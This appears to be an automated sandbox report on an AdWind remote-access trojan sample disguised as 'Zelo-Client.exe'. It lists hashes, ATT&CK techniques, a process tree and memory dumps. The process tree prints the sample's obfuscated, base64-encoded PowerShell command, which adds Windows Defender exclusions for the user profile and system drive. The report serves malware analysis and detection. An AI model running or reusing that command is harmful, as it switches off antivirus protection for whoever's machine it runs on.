adwind | 54a315390611e4ad38c06bdc331215786acf272a2bcace2f0b9464f504c23d50

Analysis

max time kernel
7s
max time network
1s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21/10/2024, 01:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Zelo-Client/Zelo-Client.exe
Size

647KB
MD5

6a8c1f741fa6b769273261f408a4dc31
SHA1

fb9c298f981965d2af6b0616a87f3c2c03596311
SHA256

32bcbaad1e453a6a32bcbb90178b7b75168c43287e51954962ed2e2c565133a1
SHA512

306c7447e4e8cc7b6fa5830bfb1ef1a58dfd523fb89dc739e68bd453c6f8163631d35b5accd1717dcd18d7bc1187d69f5b67bf357325ba48c44c11db26f9bfb5
SSDEEP

12288:Rwhg3NJmAtot9EJy80QYw2U1u6/RdQ7Zzf9STRu0FdShOcymSesf:Ohg5obEc80QR2UbJM9STFfLcymS

Score

10^/10

adwind defense_evasion trojan

Malware Config

Signatures

AdWind
A Java-based RAT family operated as malware-as-a-service.
trojan adwind

Class file contains resources related to AdWind 1 IoCs

resource	yara_rule
sample	family_adwind4

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Zelo-Client.jar	Zelo-Client.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2392	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2392	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 2392	2128	Zelo-Client.exe	31
PID 2128 wrote to memory of 2392	2128	Zelo-Client.exe	31
PID 2128 wrote to memory of 2392	2128	Zelo-Client.exe	31
PID 2128 wrote to memory of 2384	2128	Zelo-Client.exe	33
PID 2128 wrote to memory of 2384	2128	Zelo-Client.exe	33
PID 2128 wrote to memory of 2384	2128	Zelo-Client.exe	33

C:\Users\Admin\AppData\Local\Temp\Zelo-Client\Zelo-Client.exe
"C:\Users\Admin\AppData\Local\Temp\Zelo-Client\Zelo-Client.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAdQB3ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHYAeAB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGoAaABtACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAeABoACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2392
- C:\Program Files\Java\jre7\bin\javaw.exe
  "C:\Program Files\Java\jre7\bin\javaw.exe" -jar "C:\Windows\Zelo-Client.jar"
  2⤵
  PID:2384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\Zelo-Client.jar

Filesize
639KB

MD5
8bac893810be1acf6b083f16363a73cf

SHA1
d291c9dc85d7df6f1222d8bcaf5bb10e2578fa56

SHA256
739d2d19e79d073f9e1d1489c145879cff44c2c91e5d691d53ccc8599ac8a467

SHA512
e9dcb3dcd6924b61c67af33e88d59bc9d6b2e626234eb09aa18463e09622670d1d220024e9a504b44de23ca88bb426f295968e8d7dd644f49128c8ca7ed4d629

Download Submit
memory/2128-0-0x000007FEF5E03000-0x000007FEF5E04000-memory.dmp

Filesize
4KB

Download
memory/2128-1-0x0000000000EF0000-0x0000000000F98000-memory.dmp

Filesize
672KB

Download
memory/2128-8-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

Filesize
9.9MB

Download
memory/2128-12-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

Filesize
9.9MB

Download
memory/2384-22-0x0000000000130000-0x0000000000131000-memory.dmp

Filesize
4KB

Download
memory/2392-10-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2392-9-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2392-11-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download